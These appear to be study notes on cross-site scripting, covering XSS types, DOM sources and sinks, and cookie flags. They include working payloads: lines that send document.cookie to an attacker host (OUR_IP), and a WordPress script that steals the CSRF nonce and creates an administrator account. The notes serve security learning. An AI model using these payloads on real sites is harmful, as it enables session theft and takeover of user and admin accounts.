The most critical type of XSS, which occurs when user input is stored on the back-end database and then displayed upon retrieval (e.g., posts or comments)
Reflected (Non-Persistent) XSS
Occurs when user input is displayed on the page after being processed by the backend server, but without being stored (e.g., search result or error message)
DOM-based XSS
Another Non-Persistent XSS type that occurs when user input is directly shown in the browser and is completely processed on the client-side, without reaching the back-end server (e.g., through client-side HTTP parameters or anchor tags)
Here everything is done client side so no HTTP request in networks tab.
If we look at the page source by hitting [CTRL+I], we will notice that our test string is nowhere to be found. This is because the JavaScript code is updating the page when we click the Add button, which is after the page source is retrieved by our browser, hence the base page source will not show our input, and if we refresh the page, it will not be retained (i.e. Non-Persistent). We can still view the rendered page source with the Web Inspector tool by clicking [CTRL+SHIFT+C]:
Source & Sink
The Source is the JavaScript object that takes the user input, and it can be any input parameter like a URL parameter or an input field
Sink is the function that writes the user input to a DOM Object on the page. If the Sink function does not properly sanitize the user input, it would be vulnerable to an XSS attack.
Some of the commonly used JavaScript functions to write to DOM objects are:
document.write()
DOM.innerHTML
DOM.outerHTML Furthermore, some of the jQuery library functions that write to DOM objects are:
add()
after()
append() Example code vulnerable to XSS:
var pos = document.URL.indexOf("task=");
var task = document.URL.substring(pos + 5, document.URL.length
Cookies can be set with 2 optional flags: Secure and HttpOnly.
Secure - Only send cookie over encrypted connection like HTTPS
HttpOnly - Denies Javascript access to cookie. If not set then XSS payload can steal cookie. Check in storage section of Developer Tools If HttpOnly then we can only send through HTTP and it can't be retrieved by user thorugh Javascript then choose to create new admin users,etc.
After finding a payload that works, access the host with the payload that works
<script src=http://OUR_IP>/script.js</script>
And script.js on host is one of these:
document.location='http://OUR_IP/index.php?c='+document.cookie;
new Image().src='http://OUR_IP/index.php?c='+document.cookie;
To attack with a HttpOnly cookie on wordpress: We need to create a Js function that fetches the nonce which is a server generated token to prevent CSRF attacks.
var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wp-admin/user-new.php";
var nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];
Now with the nonce we can create a new admin user:
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@offsec.com&pass1=attackerpass&pass2=attackerpass&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);
Attack
First Minify the js code into a one liner in JS Compress
Then Encode the JS code with: Run it from browser console and use the encoded output